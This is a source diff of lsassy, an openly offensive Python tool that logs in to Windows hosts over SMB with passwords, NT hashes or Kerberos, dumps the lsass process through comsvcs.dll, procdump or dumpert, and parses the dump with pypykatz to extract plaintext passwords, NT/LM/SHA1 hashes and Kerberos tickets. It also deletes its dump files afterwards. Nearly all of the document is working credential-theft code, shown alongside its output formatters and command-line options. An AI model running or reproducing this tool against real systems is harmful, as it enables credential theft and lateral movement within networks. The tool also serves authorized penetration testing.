284 # STATUS_NO_SUCH_FILE for WinXP
285 if "STATUS_OBJECT_NAME_NOT_FOUND" not in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
286
287 self._log.debug("Dump file \"{}\" wasn't removed. Error : {}".format(
288 self._tmp_dir + self._remote_lsass_dump, str(e)[:100] + "..." if len(str(e)) > 100 else str(e)))
289 try:
290 self._log.debug("Trying to reconnect ...")
291 self._conn.clean()
292 self._conn.login()
293 self._log.debug("Reconnected !")
294 self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump)
295 self._log.debug("Dump file \"{}\" was successfully removed !".format(
296 self._tmp_dir + self._remote_lsass_dump))
297 except:
298 self._log.error("Dump file \"{}\" wasn't removed. An error occurred.".format(self._tmp_dir + self._remote_lsass_dump))
299 lsassy_warn(self._log, RetCode(ERROR_DUMP_CLEANING, e))
300
301 if self._use_procdump:
302 # Delete procdump.exe
303 try:
304 self._conn.deleteFile(self._share, self._tmp_dir + self._procdump)
305 except Exception as e:
306 lsassy_warn(self._log, RetCode(ERROR_PROCDUMP_CLEANING, e))
307
308 if self._use_dumpert:
309 # Delete dumpert.exe
310 try:
311 self._conn.deleteFile(self._share, self._tmp_dir + self._dumpert)
312 except Exception as e:
313 lsassy_warn(self._log, RetCode(ERROR_DUMPERT_CLEANING, e))
314
315 return RetCode(ERROR_SUCCESS)
+0
-183
lsassy/modules/impacketconnection.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import time
7 from socket import getaddrinfo, gaierror
8
9 from impacket.smb3structs import FILE_READ_DATA
10 from impacket.smbconnection import SMBConnection, SessionError
11 from impacket.krb5.types import KerberosException
12
13 from lsassy.utils.defines import *
14 from lsassy.modules.logger import Logger
15
16
17 class ImpacketConnection:
18 class Options:
19 def __init__(self, hostname="", domain_name="", username="", password="",
20 lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5):
21 self.hostname = hostname
22 self.domain_name = domain_name
23 self.username = username
24 self.password = password
25 self.lmhash = lmhash
26 self.nthash = nthash
27 self.timeout = timeout
28 self.kerberos = kerberos
29 self.aesKey = aesKey
30 self.dc_ip = dc_ip
31
32 def __init__(self, options: Options):
33 self.options = options
34 self.hostname = options.hostname
35 self.domain_name = options.domain_name
36 self.username = options.username
37 self.password = options.password
38 self.lmhash = options.lmhash
39 self.nthash = options.nthash
40 self.kerberos = options.kerberos
41 self.aesKey = options.aesKey
42 self.dc_ip = options.dc_ip
43 self.timeout = options.timeout
44 self._log = Logger(self.hostname)
45 self._conn = None
46
47 def get_logger(self):
48 return self._log
49
50 def set_logger(self, logger):
51 self._log = logger
52
53 def login(self):
54 try:
55 ip = list({addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)})[0]
56 if ip != self.hostname:
57 self._log.debug("Host {} resolved to {}".format(self.hostname, ip))
58 except gaierror as e:
59 return RetCode(ERROR_DNS_ERROR, e)
60
61 try:
62 self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout)
63 except Exception as e:
64 return RetCode(ERROR_CONNECTION_ERROR, e)
65
66 username = ''
67 if not self.kerberos:
68 username = self.username.split("@")[0]
69 self._log.debug("Authenticating against {}".format(ip))
70 else:
71 self._log.debug("Authenticating against {}".format(self.hostname))
72
73 try:
74 if not self.kerberos:
75 self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash,
76 nthash=self.nthash, ntlmFallback=True)
77 else:
78 self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash,
79 nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip)
80
81 except SessionError as e:
82 self._log.debug("Provided credentials : {}\\{}:{}".format(self.domain_name, username, self.password))
83 return RetCode(ERROR_LOGIN_FAILURE, e)
84 except KerberosException as e:
85 self._log.debug("Kerberos error")
86 return RetCode(ERROR_LOGIN_FAILURE, e)
87 except Exception as e:
88 return RetCode(ERROR_UNDEFINED, e)
89 return RetCode(ERROR_SUCCESS)
90
91 def connectTree(self, share_name):
92 return self._conn.connectTree(share_name)
93
94 def openFile(self, tid, fpath, timeout: int = 3):
95 self._log.debug("Opening file {}".format(fpath))
96
97 start = time.time()
98
99 while True:
100 try:
101 fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA)
102 self._log.debug("File {} opened".format(fpath))
103 return fid
104 except Exception as e:
105 if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
106 # Output not finished, let's wait
107 if time.time() - start > timeout:
108 raise(Exception(e))
109 time.sleep(1)
110 else:
111 raise Exception(e)
112
113 def queryInfo(self, tid, fid):
114 while True:
115 try:
116 info = self._conn.queryInfo(tid, fid)
117 return info
118 except Exception as e:
119 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
120 # Output not finished, let's wait
121 time.sleep(2)
122 else:
123 raise Exception(e)
124
125 def getFile(self, share_name, path_name, callback):
126 while True:
127 try:
128 self._conn.getFile(share_name, path_name, callback)
129 break
130 except Exception as e:
131 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
132 # Output not finished, let's wait
133 time.sleep(2)
134 else:
135 raise Exception(e)
136
137 def deleteFile(self, share_name, path_name):
138 while True:
139 try:
140 self._conn.deleteFile(share_name, path_name)
141 self._log.debug("File {} deleted".format(path_name))
142 break
143 except Exception as e:
144 if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
145 time.sleep(2)
146 else:
147 raise Exception(e)
148
149 def putFile(self, share_name, path_name, callback):
150 try:
151 self._conn.putFile(share_name, path_name, callback)
152 self._log.debug("File {} uploaded".format(path_name))
153 except Exception as e:
154 raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e))
155
156 def readFile(self, tid, fid, offset, size):
157 return self._conn.readFile(tid, fid, offset, size, singleCall=False)
158
159 def closeFile(self, tid, fid):
160 return self._conn.closeFile(tid, fid)
161
162 def disconnectTree(self, tid):
163 return self._conn.disconnectTree(tid)
164
165 def isadmin(self):
166 try:
167 self.connectTree("C$")
168 return RetCode(ERROR_SUCCESS)
169 except Exception as e:
170 return RetCode(ERROR_ACCESS_DENIED, e)
171
172 def close(self):
173 if self._conn is not None:
174 self._log.debug("Closing Impacket connection")
175 self._conn.close()
176
177 def clean(self):
178 try:
179 self.close()
180 return RetCode(ERROR_SUCCESS)
181 except Exception as e:
182 return RetCode(ERROR_CONNECTION_CLEANING, e)
+0
-120
lsassy/modules/impacketfile.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import re
7
8 from lsassy.utils.defines import *
9
10
11 class ImpacketFile:
12 def __init__(self, connection, log):
13 self._log = log
14 self._conn = connection
15 self._fpath = None
16 self._currentOffset = 0
17 self._total_read = 0
18 self._tid = None
19 self._fid = None
20 self._fileInfo = None
21 self._endOfFile = None
22
23 self._buffer_min_size = 1024 * 8
24 self._buffer_data = {
25 "offset": 0,
26 "size": 0,
27 "buffer": ""
28 }
29
30 def get_connection(self):
31 return self._conn
32
33 def open(self, path, timeout=3):
34 try:
35 share_name, fpath = self._parse_path(path)
36 except Exception as e:
37 return RetCode(ERROR_PATH_FILE, e)
38
39 self._fpath = fpath
40 try:
41 self._tid = self._conn.connectTree(share_name)
42 except Exception as e:
43 self.clean()
44 return RetCode(ERROR_SHARE, e)
45 try:
46 self._fid = self._conn.openFile(self._tid, self._fpath, timeout=timeout)
47 except Exception as e:
48 self.clean()
49 return RetCode(ERROR_FILE, e)
50 self._fileInfo = self._conn.queryInfo(self._tid, self._fid)
51 self._endOfFile = self._fileInfo.fields["EndOfFile"]
52 return self
53
54 def __exit__(self, exc_type, exc_val, exc_tb):
55 self.clean()
56
57 def read(self, size):
58 if size == 0:
59 return b''
60
61 if (self._buffer_data["offset"] <= self._currentOffset <= self._buffer_data["offset"] + self._buffer_data["size"]
62 and self._buffer_data["offset"] + self._buffer_data["size"] > self._currentOffset + size):
63 value = self._buffer_data["buffer"][self._currentOffset - self._buffer_data["offset"]:self._currentOffset - self._buffer_data["offset"] + size]
64 else:
65 self._buffer_data["offset"] = self._currentOffset
66
67 """
68 If data size is too small, read self._buffer_min_size bytes and cache them
69 """
70 if size < self._buffer_min_size:
71 value = self._conn.readFile(self._tid, self._fid, self._currentOffset, self._buffer_min_size)
72 self._buffer_data["size"] = self._buffer_min_size
73 self._total_read += self._buffer_min_size
74
75 else:
76 value = self._conn.readFile(self._tid, self._fid, self._currentOffset, size + self._buffer_min_size)
77 self._buffer_data["size"] = size + self._buffer_min_size
78 self._total_read += size
79
80 self._buffer_data["buffer"] = value
81
82 self._currentOffset += size
83
84 return value[:size]
85
86 def close(self):
87 self._log.debug("Closing Impacket file \"{}\"".format(self._fpath))
88 self._conn.closeFile(self._tid, self._fid)
89 self._conn.disconnectTree(self._tid)
90
91 def seek(self, offset, whence=0):
92 if whence == 0:
93 self._currentOffset = offset
94 elif whence == 1:
95 self._currentOffset += offset
96 elif whence == 2:
97 self._currentOffset = self._endOfFile - offset
98 else:
99 raise Exception('Seek function whence value must be between 0-2')
100
101 def tell(self):
102 return self._currentOffset
103
104 def size(self):
105 return self._endOfFile
106
107 def clean(self):
108 try:
109 self.close()
110 except Exception as e:
111 pass
112
113 @staticmethod
114 def _parse_path(fpath):
115 pattern = re.compile(r"^(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$")
116 matches = pattern.search(fpath)
117 if matches is None:
118 raise Exception("{} is not valid. Expected format : shareName/path/to/dump (c$/Windows/Temp/lsass.dmp)".format(fpath))
119 return matches.groups()
+0
-65
lsassy/modules/logger.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import sys
7
8
9 class Logger:
10 class Options:
11 def __init__(self, align=1, verbosity=0, quiet=False):
12 self.align = align
13 self.verbosity = verbosity
14 self.quiet = quiet
15
16 def __init__(self, target="", options=Options()):
17 self._target = target
18 self._align = options.align
19 self._verbosity = options.verbosity
20 self._quiet = options.quiet
21 if self._verbosity == 2:
22 # This part is to have impacket debug informations
23 import logging
24 from impacket.examples import logger
25 logger.init()
26 logging.getLogger().setLevel(logging.DEBUG)
27
28 def info(self, msg):
29 if not self._quiet:
30 if self._verbosity >= 1:
31 msg = "\n ".join(msg.split("\n"))
32 print("\033[1;34m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
33
34 def debug(self, msg):
35 if not self._quiet:
36 if self._verbosity >= 2:
37 msg = "\n ".join(msg.split("\n"))
38 print("\033[1;37m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
39
40 def warn(self, msg):
41 if not self._quiet:
42 if self._verbosity >= 1:
43 msg = "\n ".join(msg.split("\n"))
44 print("\033[1;33m[!]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
45
46 def error(self, msg):
47 if not self._quiet:
48 msg = "\n ".join(msg.split("\n"))
49 print("\033[1;31m[X]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg), file=sys.stderr)
50
51 def success(self, msg, output=True):
52 msg = "\n ".join(msg.split("\n"))
53 out = "\033[1;32m[+]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)
54 if not self._quiet:
55 if output:
56 print(out)
57 return out
58
59 def raw(self, msg):
60 print("{}".format(msg), end='')
61
62 @staticmethod
63 def highlight(msg):
64 return "\033[1;33m{}\033[0m".format(msg)
+0
-59
lsassy/modules/parser.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6
7
8 from pypykatz.pypykatz import pypykatz
9
10 from lsassy.utils.defines import *
11
12
13 class Parser:
14 class Options:
15 def __init__(self, raw=False):
16 self.raw = raw
17
18 def __init__(self, dumpfile, options=Options()):
19 self._log = dumpfile.get_connection().get_logger()
20 self._dumpfile = dumpfile
21 self._raw = options.raw
22 self._credentials = []
23
24 def parse(self):
25 pypy_parse = pypykatz.parse_minidump_external(self._dumpfile)
26 self._dumpfile.close()
27
28 ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
29 for luid in pypy_parse.logon_sessions:
30
31 for ssp in ssps:
32 for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
33 domain = getattr(cred, "domainname", None)
34 username = getattr(cred, "username", None)
35 password = getattr(cred, "password", None)
36 LMHash = getattr(cred, "LMHash", None)
37 NThash = getattr(cred, "NThash", None)
38 if LMHash is not None:
39 LMHash = LMHash.hex()
40 if NThash is not None:
41 NThash = NThash.hex()
42 # Remove empty password, machine accounts and buggy entries
43 if self._raw:
44 self._credentials.append([ssp, domain, username, password, LMHash, NThash])
45 elif (not all(v is None or v == '' for v in [password, LMHash, NThash])
46 and username is not None
47 and not username.endswith('$')
48 and not username == ''):
49 self._credentials.append((ssp, domain, username, password, LMHash, NThash))
50 return RetCode(ERROR_SUCCESS)
51
52 def get_credentials(self):
53 return self._credentials
54
55 def clean(self):
56 return RetCode(ERROR_SUCCESS)
57
58
+0
-122
lsassy/modules/writer.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 import json
6 from pathlib import Path
7
8 from lsassy.utils.utils import *
9 from lsassy.modules.logger import Logger
10
11
12 class Writer:
13 class Options:
14 def __init__(self, format="pretty", output_file=None, quiet=False):
15 self.format = format
16 self.output_file = output_file
17 self.quiet = quiet
18
19 def __init__(self, hostname, credentials, logger, options=Options()):
20 self._hostname = hostname
21 self._log = logger
22 self._credentials = credentials
23 self._format = options.format
24 self._file = options.output_file
25 self._quiet = options.quiet
26
27 @staticmethod
28 def _decode(data):
29 """
30 Ugly trick because of mixed content coming back from pypykatz
31 Can be either string, bytes, None
32 """
33 try:
34 return data.decode('utf-8', 'backslashreplace')
35 except:
36 return data
37
38 def get_output(self):
39 output = ""
40
41 if self._format == "json":
42 json_output = {}
43 for cred in self._credentials:
44 ssp, domain, username, password, lmhash, nthash = cred
45
46 domain = Writer._decode(domain)
47 username = Writer._decode(username)
48 password = Writer._decode(password)
49
50 if domain not in json_output:
51 json_output[domain] = {}
52 if username not in json_output[domain]:
53 json_output[domain][username] = []
54 credential = {
55 "password": password,
56 "lmhash": lmhash,
57 "nthash": nthash
58 }
59 if credential not in json_output[domain][username]:
60 json_output[domain][username].append(credential)
61 output = json.dumps(json_output)
62 elif self._format == "grep":
63 credentials = set()
64 for cred in self._credentials:
65 credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred]))
66 output = "\n".join(cred for cred in credentials)
67 elif self._format == "pretty":
68 if len(self._credentials) == 0:
69 self._log.warn('No credentials found')
70 output = "No credentials"
71 else:
72 max_size = max(len(c[1]) + len(c[2]) for c in self._credentials)
73 credentials = []
74 for cred in self._credentials:
75 ssp, domain, username, password, lmhash, nthash = cred
76 domain = Writer._decode(domain)
77 username = Writer._decode(username)
78 password = Writer._decode(password)
79 if password is None:
80 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
81 if [domain, username, password] not in credentials:
82 credentials.append([domain, username, password])
83 output += self._log.success(
84 "{}\\{}{}{}".format(
85 domain,
86 username,
87 " " * (max_size - len(domain) - len(username) + 2),
88 Logger.highlight(password)), output=False
89 )
90
91 elif self._format == "none":
92 pass
93 else:
94 return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format)))
95
96 return output
97
98 def write(self):
99 output = self.get_output()
100 if isinstance(output, int):
101 return output
102
103 if not self._quiet:
104 print(output, end="\n")
105 if self._file:
106 ret = self.write_file(output)
107 if not ret.success():
108 lsassy_warn(self._log, ret)
109 else:
110 self._log.info("Credentials saved to {}".format(self._file))
111
112 return RetCode(ERROR_SUCCESS)
113
114 def write_file(self, output):
115 path = Path(self._file).parent
116 if not os.path.isdir(path):
117 return RetCode(ERROR_OUTPUT_DIR_NOT_EXIST, Exception("Directory {} does not exist".format(path)))
118
119 with open(self._file, 'a+') as f:
120 f.write(output + "\n")
121 return RetCode(ERROR_SUCCESS)
+40
-0
lsassy/output/__init__.py less more
0 import logging
1 import os
2 from pathlib import Path
3 import importlib
4
5
6 class IOutput:
7 """
8 Ouput interface
9 """
10
11 def __init__(self, credentials, users_only=False):
12 self._credentials = self.get_credentials(credentials, users_only)
13
14 @staticmethod
15 def _decode(data):
16 """
17 Ugly trick because of mixed content coming back from pypykatz
18 Can be either string, bytes, None
19 """
20 try:
21 return data.decode('utf-8', 'backslashreplace')
22 except Exception:
23 return data
24
25 @staticmethod
26 def get_credentials(credentials, users_only=False):
27 """
28 Get list of credentials with potential filtering depending on users_only flag
29 :param credentials: List of credentials instances
30 :param users_only: If set, only returns users account, else returns users and computers accounts
31 :return: List of credentials dict
32 """
33 return [cred.get_object() for cred in credentials if not (users_only and cred.get_username().endswith("$"))]
34
35 def get_output(self):
36 """
37 To be implemented in output methods
38 """
39 raise NotImplementedError⏎
+13
-0
lsassy/output/grep_output.py less more
0 from lsassy.output import IOutput
1
2
3 class Output(IOutput):
4 """
5 Returns output in greppable format
6 """
7 def get_output(self):
8 credentials = set()
9 for cred in self._credentials:
10 line = "{}\t{}\t{}\t{}\t{}\t{}\t{}".format(cred["ssp"], cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], cred["sha1"])
11 credentials.add(line)
12 return "\n".join(cred for cred in credentials)⏎
+25
-0
lsassy/output/json_output.py less more
0 import json
1
2 from lsassy.output import IOutput
3
4
5 class Output(IOutput):
6 """
7 Return output in json format
8 """
9 def get_output(self):
10 json_output = {}
11 for cred in self._credentials:
12 if cred["domain"] not in json_output:
13 json_output[cred["domain"]] = {}
14 if cred["username"] not in json_output[cred["domain"]]:
15 json_output[cred["domain"]][cred["username"]] = []
16 credential = {
17 "password": cred["password"],
18 "lmhash": cred["lmhash"],
19 "nthash": cred["nthash"],
20 "sha1": cred["sha1"]
21 }
22 if credential not in json_output[cred["domain"]][cred["username"]]:
23 json_output[cred["domain"]][cred["username"]].append(credential)
24 return json.dumps(json_output)
+32
-0
lsassy/output/pretty_output.py less more
0 from lsassy import logger
1 from lsassy.output import IOutput
2
3
4 class Output(IOutput):
5 """
6 Return output in pretty colorful format
7 """
8 def get_output(self):
9 output = []
10 if len(self._credentials) == 0:
11 return "No credentials found"
12 else:
13 max_size = max(len(c["domain"]) + len(c["username"]) for c in self._credentials)
14 credentials = []
15 for cred in self._credentials:
16 type = "PWD"
17 if cred["password"] is None:
18 cred["password"] = ':'.join(h for h in [cred["lmhash"], cred["nthash"]] if h is not None)
19 type = "NT"
20 if [cred["domain"], cred["username"], cred["password"]] not in credentials:
21 credentials.append([cred["domain"], cred["username"], cred["password"]])
22 output.append(
23 "{}\\{}{}{}{}{}".format(
24 cred["domain"],
25 cred["username"],
26 " " * (max_size - len(cred["domain"]) - len(cred["username"]) + 2),
27 logger.highlight("[{}] ".format(type)),
28 logger.highlight(cred["password"]),
29 " | {}".format(logger.highlight("[{}] {}".format("SHA1", cred["sha1"]))) if cred["sha1"] else "")
30 )
31 return "\n".join(output)
+40
-0
lsassy/output/table_output.py less more
0 from rich import box
1 from rich.console import Console
2 from rich.table import Table
3
4 from lsassy.output import IOutput
5
6
7 class Output(IOutput):
8 """
9 Return output in pretty colorful format
10 """
11 def get_output(self):
12 table = Table(
13 show_header=True,
14 header_style="bold blue",
15 border_style="grey35",
16 caption_style="",
17 caption_justify="left",
18 box=box.SQUARE
19 )
20
21 table.add_column("Username")
22 table.add_column("Password")
23 table.add_column("Hash")
24 table.add_column("Sha1")
25 credentials = []
26 for cred in self._credentials:
27 if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], cred["sha1"]] not in credentials:
28 credentials.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], cred["sha1"]])
29 table.add_row(
30 "{}{}".format(
31 "{}\\".format(cred["domain"]) if cred["domain"] is not None else "",
32 cred["username"] if cred["username"] is not None else ""
33 ),
34 cred["password"] if cred["password"] is not None else "",
35 ':'.join(h for h in [cred["lmhash"], cred["nthash"]] if h is not None),
36 cred["sha1"] if cred["sha1"] is not None else "")
37 console = Console()
38 console.print(table, no_wrap=True)
39 return ""
+61
-0
lsassy/parser.py less more
0 import logging
1 import os
2 import ntpath
3 from lsassy.credential import Credential
4 from pypykatz.pypykatz import pypykatz
5
6
7 class Parser:
8 """
9 Parse remote lsass dump file using impacketfile and pypykatz
10 """
11
12 def __init__(self, dumpfile):
13 self._dumpfile = dumpfile
14
15 def parse(self):
16 """
17 Parse remote dump file and delete it after parsing
18 :return: List of Credentials
19 """
20 credentials = []
21 tickets = []
22 try:
23 pypy_parse = pypykatz.parse_minidump_external(self._dumpfile, chunksize = 60*1024)
24 except Exception as e:
25 logging.error("An error occurred while parsing lsass dump", exc_info=True)
26 return None
27
28 ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
29 'tspkg_creds']
30 for luid in pypy_parse.logon_sessions:
31
32 for ssp in ssps:
33 for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
34 domain = getattr(cred, "domainname", None)
35 username = getattr(cred, "username", None)
36 password = getattr(cred, "password", None)
37 LMHash = getattr(cred, "LMHash", None)
38 NThash = getattr(cred, "NThash", None)
39 SHA1 = getattr(cred, "SHAHash", None)
40 if LMHash is not None:
41 LMHash = LMHash.hex()
42 if NThash is not None:
43 NThash = NThash.hex()
44 if SHA1 is not None:
45 SHA1 = SHA1.hex()
46 if username and (password or NThash or LMHash):
47 credentials.append(
48 Credential(ssp=ssp, domain=domain, username=username, password=password, lmhash=LMHash,
49 nthash=NThash, sha1=SHA1))
50
51 for kcred in pypy_parse.logon_sessions[luid].kerberos_creds:
52 for ticket in kcred.tickets:
53 tickets.append(ticket)
54
55 for cred in pypy_parse.orphaned_creds:
56 if cred.credtype == 'kerberos':
57 for ticket in cred.tickets:
58 tickets.append(ticket)
59
60 return credentials, tickets
+0
-0
lsassy/resources/.gitkeep less more
(New empty file)
+89
-0
lsassy/session.py less more
0 import logging
1 from impacket.smbconnection import SMBConnection
2
3
4 class Session:
5 """
6 Custom impacket SMB session
7 """
8 def __init__(self, smb_session=None):
9 self.smb_session = smb_session
10 self.address = ""
11 self.target_ip = ""
12 self.port = 445
13 self.username = ""
14 self.password = ""
15 self.lmhash = ""
16 self.nthash = ""
17 self.domain = ""
18 self.aesKey = ""
19 self.dc_ip = ""
20 self.kerberos = False
21 self.timeout = 5
22
23 def get_session(self, address, target_ip="", port=445, username="", password="", lmhash="", nthash="", domain="", aesKey="", dc_ip="", kerberos=False, timeout=5):
24 """
25 Login on remote host
26 :param address: Remote host
27 :param target_ip: Remote host IP address
28 :param port: Remote port
29 :param username: Username
30 :param password: Password
31 :param lmhash: LM Hash
32 :param nthash: NT Hash
33 :param domain: Domain
34 :param aesKey: AES Key
35 :param dc_ip: Domain Controller IP address
36 :param kerberos: Use kerberos
37 :return: SMB Session
38 """
39 try:
40 self.smb_session = SMBConnection(address, target_ip, None, sess_port=port, timeout=timeout)
41 except Exception:
42 logging.warning("Network error", exc_info=True)
43 self.smb_session = None
44 return None
45
46 try:
47 if kerberos is True:
48 self.smb_session.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dc_ip)
49 else:
50 self.smb_session.login(username, password, domain, lmhash, nthash)
51 logging.info("SMB session opened")
52 except Exception as e:
53 if "KDC_ERR_S_PRINCIPAL_UNKNOWN" in str(e):
54 logging.error("Connexion error (Use FQDN for kerberos authentication)", exc_info=True)
55 else:
56 logging.warning("Connexion error", exc_info=True)
57 self.smb_session = None
58 return None
59
60 try:
61 self.smb_session.connectTree("C$")
62 except Exception:
63 if username:
64 logging.error("User '{}' can not access admin shares on {}".format(username, address))
65 else:
66 logging.error("Can not access admin shares on {}".format(address))
67 self.smb_session = None
68 return None
69
70 self.address = address
71 self.target_ip = target_ip
72 self.port = port
73 self.username = username
74 self.password = password
75 self.lmhash = lmhash
76 self.nthash = nthash
77 self.domain = domain
78 self.aesKey = aesKey
79 self.dc_ip = dc_ip
80 self.kerberos = kerberos
81 self.timeout = timeout
82
83 logging.success("Authentication successful")
84 return True
85
86 def login(self):
87 return self.get_session(self.address, self.target_ip, self.port, self.username, self.password, self.lmhash,
88 self.nthash, self.domain, self.aesKey, self.dc_ip, self.kerberos, self.timeout)
+0
-5
lsassy/utils/__init__.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
+0
-70
lsassy/utils/defines.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 ERROR_SUCCESS = (0, "")
6 ERROR_NO_CREDENTIAL_FOUND = (0, "Procdump could not be uploaded")
7
8 ERROR_MISSING_ARGUMENTS = (1, "")
9 ERROR_CONNECTION_ERROR = (2, "Connection error")
10 ERROR_ACCESS_DENIED = (3, "Access denied. Administrative rights on remote host are required")
11 ERROR_METHOD_NOT_SUPPORTED = (4, "Method not supported")
12 ERROR_LSASS_PROTECTED = (5, "Lsass is protected")
13 ERROR_SLOW_TARGET = (6, "Either lsass is protected or target might be slow or procdump/dumpert wasn't provided")
14 ERROR_LSASS_DUMP_NOT_FOUND = (7, "lsass dump file does not exist. Use -vv flag for more details")
15 ERROR_USER_INTERRUPTION = (8, "lsassy has been interrupted")
16 ERROR_PATH_FILE = (9, "Invalid path")
17 ERROR_SHARE = (10, "Error opening share")
18 ERROR_FILE = (11, "Error opening file")
19 ERROR_INVALID_FORMAT = (12, "Invalid format")
20 ERROR_DNS_ERROR = (13, "No DNS found to resolve this hostname")
21 ERROR_LOGIN_FAILURE = (14, "Authentication error")
22 ERROR_PROCDUMP_NOT_FOUND = (15, "Procdump path is not valid")
23 ERROR_PROCDUMP_NOT_PROVIDED = (16, "Procdump was not provided")
24 ERROR_PROCDUMP_NOT_UPLOADED = (17, "Procdump could not be uploaded")
25 ERROR_DLL_NO_EXECUTE = (18, "Could not execute commands on remote host via DLL method")
26 ERROR_PROCDUMP_NO_EXECUTE = (19, "Could not execute commands on remote host via Procdump method")
27 ERROR_DUMPERT_NO_EXECUTE = (20, "Could not execute commands on remote host via Dumpert method")
28 ERROR_DUMPERT_NOT_FOUND = (21, "dumpert path is not valid")
29 ERROR_DUMPERT_NOT_PROVIDED = (22, "dumpert was not provided")
30 ERROR_DUMPERT_NOT_UPLOADED = (23, "dumpert could not be uploaded")
31 ERROR_OUTPUT_FORMAT_INVALID = (24, "Output format is not valid")
32 ERROR_OUTPUT_DIR_NOT_EXIST = (25, "Output directory does not exist")
33
34 # Cleaning errors
35 ERROR_DUMP_CLEANING = (100, "Error while cleaning lsass dump")
36 ERROR_PROCDUMP_CLEANING = (101, "Error while cleaning procdump")
37 ERROR_DUMPERT_CLEANING = (102, "Error while cleaning dumpert")
38 ERROR_CONNECTION_CLEANING = (103, "Error while cleaning connection")
39
40 ERROR_UNDEFINED = (-1, "Unknown error")
41
42
43 class RetCode:
44 def __init__(self, error, exception=None):
45 self.error_code = error[0]
46 self.error_msg = error[1]
47 self.error_exception = exception
48
49 def success(self):
50 return self.error_code == 0
51
52 def __str__(self):
53 return "{} : {}".format(self.error_code, self.error_msg)
54
55 def __eq__(self, other):
56 if isinstance(other, RetCode):
57 return self.error_code == other.error_code
58 elif isinstance(other, int):
59 return self.error_code == other
60 return NotImplemented
61
62 def __ne__(self, other):
63 x = self.__eq__(other)
64 if x is not NotImplemented:
65 return not x
66 return NotImplemented
67
68 def __hash__(self):
69 return hash(tuple(sorted(self.__dict__.items())))
+0
-166
lsassy/utils/utils.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 import os
6 import sys
7 import argparse
8
9 import pkg_resources
10 from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
11
12 from lsassy.utils.defines import *
13
14 version = pkg_resources.require("lsassy")[0].version
15
16
17 def get_args():
18 examples = '''example:
19 lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24
20 '''
21
22 parser = argparse.ArgumentParser(
23 prog="lsassy",
24 description='lsassy v{} - Remote lsass dump reader'.format(version),
25 epilog=examples,
26 formatter_class=argparse.RawTextHelpFormatter
27 )
28
29 group_dump = parser.add_argument_group('dump')
30 group_dump.add_argument('-m', '--method', action='store', default=1, type=int, help='''Dumping method
31 0: Try all methods (dll then procdump then dumpert) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails)
32 1: comsvcs.dll method, stop on success (default)
33 2: Procdump method, stop on success (Requires -p)
34 3: comsvcs.dll + Powershell method, stop on success
35 4: comsvcs.dll + cmd.exe method
36 5: (unsafe) dumpert method, stop on success (Requires -u)''')
37 group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
38 group_dump.add_argument('--procdump', action='store', help='Procdump path')
39 group_dump.add_argument('--dumpert', action='store', help='dumpert path')
40 group_dump.add_argument('--timeout', default=10, type=int, action='store',
41 help='Timeout before considering lsass was not dumped successfully')
42
43 group_auth = parser.add_argument_group('authentication')
44 group_auth.add_argument('-u', '--username', action='store', help='Username')
45 group_auth.add_argument('-p', '--password', action='store', help='Plaintext password')
46 group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name')
47 group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash')
